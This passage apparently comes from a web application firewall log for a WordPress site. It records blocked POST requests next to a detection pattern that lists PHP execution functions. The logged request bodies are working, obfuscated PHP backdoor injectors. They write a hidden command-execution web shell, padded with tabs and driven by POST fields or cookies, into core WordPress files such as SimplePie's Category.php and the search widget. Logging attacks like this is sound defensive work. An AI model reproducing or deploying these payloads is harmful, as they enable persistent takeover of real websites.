Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nHR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:47:54","173.212.252.15","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6266\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Category.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527746%2527%253B%2524itm2%2520%253D%2520%252756d%2527%253B%2524itm3%2520%253D%2520%2527736%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%2527c5f%2527%253B%2524itm6%2520%253D%2520%2527657%2527%253B%2524itm7%2520%253D%2520%2527737%2527%253B%2524itm8%2520%253D%2520%2527727%2527%253B%2524itm9%2520%253D%2520%2527f70%2527%253B%2524itm10%2520%253D%2520%2527656%2527%253B%2524itm11%2520%253D%2520%25275f6%2527%253B%2524itm12%2520%253D%2520%2527f63%2527%253B%2524itm13%2520%253D%2520%25276f6%2527%253B%2524itm14%2520%253D%2520%2527e74%2527%253B%2524itm15%2520%253D%2520%2527706%2527%253B%2524itm16%2520%253D%2520%252736c%2527%253B%2524itm17%2520%253D%2520%25276f7%2527%253B%2524itm18%2520%253D%2520%2527365%2527%253B%2524itm19%2520%253D%2520%2527646%2527%253B%2524itm20%2520%253D%2520%25276c7%2527%253B%2524itm21%2520%253D%2520%2527665%2527%253B%2524core_engine1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2527973%2527.%2524itm1.%2524itm2%2529%253B%2524core_engine2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm3.%2524itm4.%25276c6%2527.%2524itm5.%2524itm6.%2527865%2527%2529%253B%2524core_engine3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm6.%2527865%2527%2529%253B%2524core_engine4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2524itm7.%2527468%2527.%2524itm8%2529%253B%2524core_engine5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2524itm9.%2524itm10%2529%253B%2524core_engine6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7.%2527472%2527.%2527656%2527.%252716d%2527.%2524itm11.%2527765%2527.%2527745%2527.%2524itm12.%2524itm13.%2524itm14.%2524itm10.%2524itm14%2529%253B%2524core_engine7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm15.%2524itm16.%2524itm17.%2524itm18%2529%253B%2524dependency_resolver%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm19.%2527570%2527.%2527656%2527.%2527e64%2527.%2527656%2527.%2527e63%2527.%2527795%2527.%2527f72%2527.%2527657%2527.%252736f%2527.%2524itm20.%2524itm21%2529%253Bif%2528isset%2528%2524_POST%255B%2524dependency_resolver%255D%2529%2529%257B%2524dependency_resolver%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524dependency_resolver%255D%2529%253Bif%2528function_exists%2528%2524core_engine1%2529%2529%257B%2524core_engine1%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine2%2529%2529%257Bprint%2520%2524core_engine2%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine3%2529%2529%257B%2524core_engine3%2528%2524dependency_resolver%252C%2524entry_flag%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_flag%2529%253B%257Delseif%2528function_exists%2528%2524core_engine4%2529%2529%257B%2524core_engine4%2528%2524dependency_resolver%2529%253B%257Delseif%2528function_exists%2528%2524core_engine5%2529%2526%2526function_exists%2528%2524core_engine6%2529%2526%2526function_exists%2528%2524core_engine7%2529%2529%257B%2524parameter_group_obj%253D%2524core_engine5%2528%2524dependency_resolver%252C%2522r%2522%2529%253Bif%2528%2524parameter_group_obj%2529%257B%2524ptr_factor%253D%2524core_engine6%2528%2524parameter_group_obj%2529%253B%2524core_engine7%2528%2524parameter_group_obj%2529%253Bprint%2520%2524ptr_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 23:48:01","164.52.218.210","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ft:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEaDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4326\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\n\nFt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522config_manager%2522%2529%253B%2520%2524desc%2520%253D%2520%2522620ef380f870087037f3d85a8182cd39%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524data_chunk%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522sync_manager_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 23:48:26","57.128.189.50","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B14-14%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B97-96%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-19%252B22%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69%252B-65%255D%2529%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520function%2520config_manager%2528%2524val%2529%2520%257B%2520%2524data_chunk%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527d1bcf7f2%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522splitter_tool%2522%253B%2520%257D%2520%2524sym%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524data_chunk%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524resource%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524resource%252C%2520%2524sym%2529%253B%2520fclose%2528%2524resource%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%